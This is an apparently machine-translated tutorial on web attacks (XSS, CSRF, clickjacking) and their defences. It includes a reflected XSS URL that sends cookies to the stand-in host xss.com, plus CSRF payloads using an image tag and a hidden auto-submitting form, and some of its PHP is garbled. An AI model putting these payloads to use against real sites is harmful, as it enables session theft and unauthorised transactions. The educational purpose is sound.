Disclaimer: This article is a consolidation and expansion of previous articlesCopy the code

The issue of front-end Web security is an old one. As the layer closest to the user, we really need to reach out a little further.

Our most common Web security attacks are the following

  • XSS cross-site scripting attacks
  • CSRF cross-site request forgery
  • Clickjacking click hijacking/UI-overlay attack

Let’s analyze them one by one

XSS cross-site scripting attacks

Cross Site Scripting is abbreviated to XSS so as not to confuse the acronym for Cascading Style Sheets (CSS). Malicious attackers insert malicious Script codes into Web pages. When users browse the page, the Script codes embedded in the Web will be executed, so as to achieve the purpose of malicious attacks on users.

The experiment

Here’s an experiment for this site:

If you click I can still see your cookie, this site has XSS risk

classification

  1. Reflected XSS (REFLECTION based XSS attack)
  2. Stored XSS (store-based XSS attack)
  3. Dom-based or local XSS (DOM or local XSS attack)

Reflected XSS (REFLECTION based XSS attack)

It mainly uses system feedback behavior vulnerability and deceives users to initiate Web attacks. Here’s an example:

  1. For example, if you search for commodities on yan Xuan website, the site will do “XXX is not on the shelves” when you cannot find it. The diagram below.

  1. To search for content in the search box, fill in “” and click Search.

  2. The string is alert when the current page does not filter the incoming data and displays it directly on the page.

(The picture above is simulated, of course)

The above three steps are just “fun for yourself.” The most important step in XSS is the fourth step.

  1. Then you can construct the address to obtain the user’s cookies, through QQ groups or spam, to get others to click on this address:
http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>Copy the code
  1. If the duped user happens to have already logged into the site, the user’s login cookie has already been sent to the attacker’s server (xss.com). Of course, attackers can do something even more egregious.

Stored XSS (store-based XSS attack)

The difference between Stored XSS and Reflected XSS lies in that the offensive scripts are saved to the server and can be completely obtained and executed by ordinary users from the service, thus acquiring the ability to spread on the network.

Here’s another chestnut:

  1. Post an article containing a malicious script
    Hello! By the time you see this, your information is no longer safe! <script>alert('xss') </script>Copy the code
  2. The backend does not filter articles and saves the content of articles directly to the database.

  3. When other readers read this article, the contained malicious script will be executed.

Tips: This is most likely when the article is stored in the entire HTML and displayed in the front end without filtering. This topic is mainly from the blog site.

Would it be offensive if we did more than just pop up a message and delete an article, post a reactionary article, or become my fan and forward the article with malicious script?

Dom-based or local XSS (DOM or local XSS attack)

DOM, Document Object Model, is a platform – and language-neutral interface that enables programs and scripts to dynamically access and update the content, structure, and style of documents.

DOM XSS is actually a special type of reflective XSS, which is a vulnerability based on the DOM document object model. Page content can be modified dynamically through the DOM, fetching data from the DOM from the client and performing it locally. Based on this feature, you can use JS scripts to exploit XSS vulnerabilities.

Attributes that can trigger DOM XSS: document.referer property window.name property location property innerHTML property documen.write property

conclusion

The essence of an XSS attack is to execute the attack script in the target user’s browser by any means possible.

To guard against

All user input, output, and client output are not trusted. When data is added to the DOM or DOM API is executed, HtmlEncode or JavaScriptEncode is needed to prevent XSS attacks.

Specific implementation, please refer to the blog at http://www.cnblogs.com/lovesong/p/5211667.html

CSRF cross-site request forgery

Cross-site Request ForSRF (CSRF), also known as One Click Attack or Session Riding, is a malicious exploitation of a website. Although it sounds like cross-site scripting (XSS), it is very different from XSS, which exploits trusted users within a site, whereas CSRF exploits trusted sites by masquerading requests from trusted users. Compared to XSS attacks, CSRF attacks tend to be less popular (and therefore have relatively few resources to defend against them) and harder to defend against, so they are considered more dangerous than XSS attacks. But they often work with XSS!

What can CSRF do?

You can think of a CSRF attack this way: An attacker steals your identity and sends malicious requests on your behalf. CSRF can do things like: send emails in your name, send messages, steal your account, even buy goods, virtual currency transfer…… The problems include personal privacy leakage and property security.

CSRF vulnerability status

CSRF attack was proposed by foreign security personnel in 2000, but it was not noticed in China until 2006. In 2008, CSRF vulnerability was exposed in many large communities and interactive websites at home and abroad, such as: NYTimes.com (The New York Times), Metafilter (a large BLOG site), YouTube and Baidu HI…… Now, many sites on the Internet are so unprepared that the security industry calls CSRF a “sleeping giant.”

The principle of CSRF

The following diagram briefly illustrates the idea of a CSRF attack:

As you can see from the figure above, to complete a CSRF attack, the victim must complete two steps in sequence:

  1. Log in to trusted website A and generate cookies locally.
  2. Visit dangerous site B without logging out of A.

Looking at this, you might say, “If I don’t meet one of these two criteria, I won’t be attacked by CSRF.” Yes, it does, but you can’t guarantee that the following won’t happen:

  1. You can’t guarantee that once you log in to one site, you won’t open a TAB page and visit another site.
  2. You cannot guarantee that your local Cookie will expire immediately after you close your browser and that your last session has ended. (Actually, closing the browser doesn’t end a session, but most people mistakenly think closing the browser is equivalent to logging out/ending the session……)
  3. The alleged attack site in the image above could be a trusted, frequently visited site with other vulnerabilities.

The sample

I have outlined the idea of CSRF attacks in general. Here I will use several examples to elaborate on specific CSRF attacks. Here I will use a bank transfer operation as an example (just an example, real bank websites are not so stupid :>).

Example 1

Bank web site A, it to GET requests to complete the operation of the bank transfer, such as: www.mybank.com/Transfer.ph… Dangerous web site B, which contains the following HTML code:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>Copy the code

First, you log on to the bank’s website A, then to the dangerous website B, and oh, that’s when you find that your bank account is missing $1000……

Why is that? The reason is that bank website A violates the HTTP specification by using GET requests to update resources. Before you visit the dangerous website B, you have logged into the bank website A, which is in BRequest third-party resources in the form of GET (the third party here refers to the bank website, originally this is A legitimate request, but it was used by criminals), so your browser will bring the Cookie of your bank website A to send A GET request to obtain resources

http://www.mybank.com/Transfer.php?toBankId=11&money=1000Copy the code

As a result, the bank website server received the request, thought it was an update resource operation (transfer operation), so immediately conducted the transfer operation……

Example 2

To eliminate the above problems, the bank decided to use POST request to complete the transfer operation. The WEB form of bank website A is as follows:

<form action="Transfer.php" method="POST">
    <p>ToBankId: <input type="text" name="toBankId"/></p>
    <p>Money: <input type="text" name="money"/></p>
    <p><input type="submit" value="Transfer"/></p>
</form>Copy the code

The background processing page transfer.php is as follows:

<? PHP session_start ();if (isset($_REQUEST['toBankId'] && isset ($_REQUEST['money'{buy_stocks (]))$_REQUEST['toBankId'].$_REQUEST['money']); }? >Copy the code

Dangerous site B, again, just contains the HTML code:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>Copy the code

As in example 1, you log on to the bank’s website A, then to the risk website B, resulting in….. As in example 1, you again lose 1000 ~ T_T. The cause of this accident is: The background of the bank uses $_REQUEST to obtain the requested data, and $_REQUEST can obtain the data of both GET request and POST request, which causes that the background processor cannot distinguish whether it is the data of GET request or POST request. In PHP, you can use $_GET and $_POST to GET data for GET requests and POST requests, respectively. In JAVA, request, which is used to obtain request data, also has the problem of not distinguishing GET request data from POST data.

Example 3

After the previous two painful lessons, the bank decided to change the method of obtaining the request data to $_POST, and only obtain the data of the POST request. The code of the background processing page transfer.php is as follows:

<? PHP session_start ();if (isset($_POST['toBankId'] && isset ($_POST['money'{buy_stocks (]))$_POST['toBankId'].$_POST['money']); }? >Copy the code

However, dangerous B has moved with The Times and changed its code:

< HTML > < head > < scripttype="text/javascript">function steal() {iframe = document.frames["steal"]; iframe.document.Submit("transfer"); } </script> </head> <body onload="steal()"> < iframe name ="steal" display="none"> < form method ="POST" name="transfer"action="http://www.myBank.com/Transfer.php"> < inputtype="hidden" name="toBankId" value="11"> < inputtype="hidden" name="money" value="1000"> </form> </iframe> </body> </ HTML >Copy the code

If the user continues with the above operation, unfortunately, the result will again be no 1000…… Because here dangerous website B secretly sent a POST request to the bank!

  

To sum up the above three examples, the main attack modes of CSRF are basically the above three, among which the first and second are the most serious, because the trigger condition is very simple, oneThe third one is more troublesome and requires JavaScript, so there are fewer opportunities to use it, but in either case, CSRF attacks can be serious.

  

Understanding the above three attack modes, you can actually see that the CSRF attack is an implicit authentication mechanism derived from the WEB! The WEB’s authentication mechanism can guarantee that a request is from a user’s browser, but it can’t guarantee that the request is user-approved!

Current strategies to defend against CSRF

In the industry, there are three main defenses against CSRF attacks: verifying HTTP Referer fields; Add token to request address and verify; Customize and validate properties in HTTP headers. These three strategies are described in detail below.

Validate the HTTP Referer field

Referer in the HTTP header is used to determine whether the request source is valid.

Advantages: Easy to implement, just add an interceptor at the end to check the Referer value for all security-sensitive requests. Especially for the current existing system, there is no need to change any existing code and logic of the current system, no risk, very convenient.

Disadvantages: 1. The value of the Referer is provided by the browser and cannot be trusted completely. There is a risk of counterfeiting in the Referer under the lower version browser. 2. The user can set the browser so that it will not provide the Referer when sending the request, and the website will reject the access of legitimate users.

Add token to request address and validate

Information that cannot be forged by a hacker is added to the request, which does not exist in the cookie, and a randomly generated token is added in the form of HTTP request parameters to be verified by the server

Advantages: It is safer than checking Referer, and does not involve user privacy. Disadvantages: It is difficult to add the token to all requests. It is difficult to ensure the security of the token itself, but the token can still be used to obtain the token

Customize attributes in HTTP headers and validate + One-time Tokens

Put the token in a custom attribute in the HTTP header. Asynchronous requests through XMLHttpRequest are validated by the back end and are valid once.

Advantages: Unified management of token input and output ensures token security. Disadvantages: Limited and cannot be implemented on non-asynchronous requests

Click on the hijacked

Clickjacking, also known as a UI overlay attack, involves an attacker using one or more transparent or opaque layers to trick the user into clicking a button that is invisible to the user, thereby enabling the attack to be carried out without the user’s knowledge.

The key to this attack is that you can implement the tag of a page within a page and make it invisible using CSS stylesheets

As shown in the blue layer of the diagram above, the attacker will entice the user to input information “in the red layer” through certain means, but the user is actually in the blue layer, so as to cheat.

Take Alipay to do a chestnut

The above picture shows the interface of alipay mobile phone charge recharge.

Take a look at the interface

Yes, I faked this if I hid the real recharge site at the top of this screen. I think you’re smart enough to know the dangers of Clickjacking.

In the image above, I guess I did a bit of dislocation and opacity reduction. Isn’t that interesting? Confused users thought they were getting a prize, but in fact they topped up their phone bills for strangers.

Stealing numbers is good at it

The most common attack scenario of this method is to forge some websites to steal account information, such as Alipay, QQ, NetEase accounts and other account secrets

Currently, ClickJacking is not popular, and many security-conscious sites have yet to take clickJacking precautions. This is very dangerous.

To guard against

There are two main ways to prevent clickjacking:

X-FRAME-OPTIONS

X-frame-options is an HTTP header proposed by Microsoft that indicates that the browser does not allow views from other domains. X-frame-options is designed to defend against clickjacking attacks using nested iframes. It works well with IE8, Firefox3.6, Chrome4 and beyond. This header has three values: DENY // DENY any domain loads SAMEORIGIN // allows allow-from to be loaded in the same domain // Defines the page address that allows frame loads

The top judge

Use defensive code in the UI to ensure that the current frame is the topmost window method, as in

top ! = self || top.location ! = self.location || top.location ! = locationCopy the code

For more information about Clickjacking Defense, see The Clickjacking Defense Cheat Sheet.

reference

  1. Introduction to CSRF attacks – http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
  2. The way of dealing with CSRF attacks – https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/